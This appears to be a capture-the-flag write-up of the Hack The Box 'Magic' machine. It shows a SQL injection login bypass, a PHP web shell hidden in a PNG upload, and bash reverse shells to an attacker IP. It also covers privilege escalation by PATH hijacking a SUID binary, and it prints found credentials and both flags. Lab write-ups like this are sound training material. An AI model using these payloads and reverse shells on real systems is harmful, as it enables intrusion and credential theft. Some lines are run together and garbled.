A comprehensive penetration test of the Magic HTB machine revealed multiple critical vulnerabilities including SQL injection authentication bypass, insecure file upload leading to remote code execution, and privilege escalation through PATH hijacking of a vulnerable SUID binary.
Target Declaration:
export target=10.129.49.31
Comprehensive Port Discovery:
sudo nmap -p- --min-rate 5000 -sT -vvv $target
Service Enumeration:
sudo nmap -p 22,80 -sC -sV -T4 $target
Visiting http://10.129.49.31 revealed a web application with a login portal at /login.php.
SQL Injection Vulnerability:
admin' OR 1=1-- -Payload Used:
Username: admin
Password: pass' OR 1=1-- -
Gobuster Scan:
gobuster dir -u http://$target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
Key Findings:
/upload.php - File upload functionality/images/ - Directory containing uploaded filesUpload Bypass Technique:
PNG) to PHP shellContent-Type to image/pngscript.php.pngPHP Web Shell:
PNG
<?php system($_GET['cmd']); ?>
getting a success message
Command Execution:
http://10.129.49.31/images/uploads/script.php.png?cmd=id
Reverse Shell Payload:
bash -c 'bash -i >& /dev/tcp/10.10.14.134/9001 0>&1'
Shell Obtained:
www-dataLocation: /var/www/Magic/db.php5
Credentials Found:
private static $dbName = 'Magic';
private static $dbHost = 'localhost';
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
MySQL Dump:
mysqldump -u theseus -p Magic
Additional Credentials Discovered:
adminTh3s3usW4sK1ngswitch the user to theseus using the password Th3s3usW4sK1ng
SSH Access:
ssh -i key theseus@10.129.49.31
Note:do a ssh-keygen in your local machine if you dont have a private and public key and then copy the key.pub public key to the ~/.ssh/authorized_keys and ssh into the box using the private key called key with ssh -i key theseus@10.129.49.31
User Flag:
cat /home/theseus/user.txt
9f6d3eacdb81678cfd6c06d3e82dc76d
Vulnerable Binary:
find / -perm -4000 -type f -user root -ls 2>/dev/null
/bin/sysinfo
Note:try to get setuid binaries owned by root find / -perm -4000 -type f -user root -ls 2>/dev/null we get the /bin/sysinfo which has setuid permission set which is owned by root and in the user group which theseus is a part of
Binary Analysis:
ltrace /bin/sysinfo
Vulnerability: Relative path usage for fdisk command
Malicious fdisk Payload:
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.134/4444 0>&1"
Exploitation Steps:
# Create payload
echo '#!/bin/bash' > /dev/shm/fdisk
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.134/4444 0>&1"' >> /dev/shm/fdisk
chmod +x /dev/shm/fdisk
# Hijack PATH
export PATH="/dev/shm:$PATH"
# Execute vulnerable binary
/bin/sysinfo
root@ubuntu:~# cat /root/root.txt cat /root/root.txt 7bcb8be400199d35a96ce942c767a9f1
Root Flag:
cat /root/root.txt
7bcb8be400199d35a96ce942c767a9f1